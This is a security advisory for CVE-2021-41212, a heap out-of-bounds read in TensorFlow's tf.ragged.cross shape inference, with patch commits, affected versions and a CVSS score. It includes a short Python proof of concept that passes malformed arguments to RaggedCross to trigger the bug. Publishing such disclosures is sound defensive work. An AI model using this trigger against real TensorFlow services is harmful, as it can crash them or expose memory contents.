Heap OOB read in `tf.ragged.cross`

### Impact The [shape inference code for `tf.ragged.cross`](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/ragged_array_ops.cc#L64) can trigger a read outside of bounds of heap allocated array: ```python import tensorflow as tf @tf.function def test(): y = tf.raw_ops.RaggedCross(ragged_values=[], ragged_row_splits=[], sparse_indices=[[5]], sparse_values=[], sparse_shape=[5], dense_inputs=[['a']], input_order='RD', hashed_output=False, num_buckets=5, hash_key=2, out_values_type=tf.string, out_row_splits_type=tf.int64) return y test() ``` ### Patches We have patched the issue in GitHub commit [fa6b7782fbb14aa08d767bc799c531f5e1fb3bb8](https://github.com/tensorflow/tensorflow/commit/fa6b7782fbb14aa08d767bc799c531f5e1fb3bb8). The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

CVSS 3.1

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

Severity from

GitHub (reviewed advisory)

Weakness

CWE-125

Also known as

BIT-tensorflow-2021-41212, CVE-2021-41212, PYSEC-2021-404, PYSEC-2021-621, PYSEC-2021-819

• github.com/tensorflow/tensorflow/security/advisories/GHSA-fr77-rrx3-cp7g
• nvd.nist.gov/vuln/detail/CVE-2021-41212
• github.com/tensorflow/tensorflow/commit/fa6b7782fbb14aa08d767bc799c531f5e1fb3bb8
• github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-621.yaml
• github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-819.yaml
• github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-404.yaml
• github.com/tensorflow/tensorflow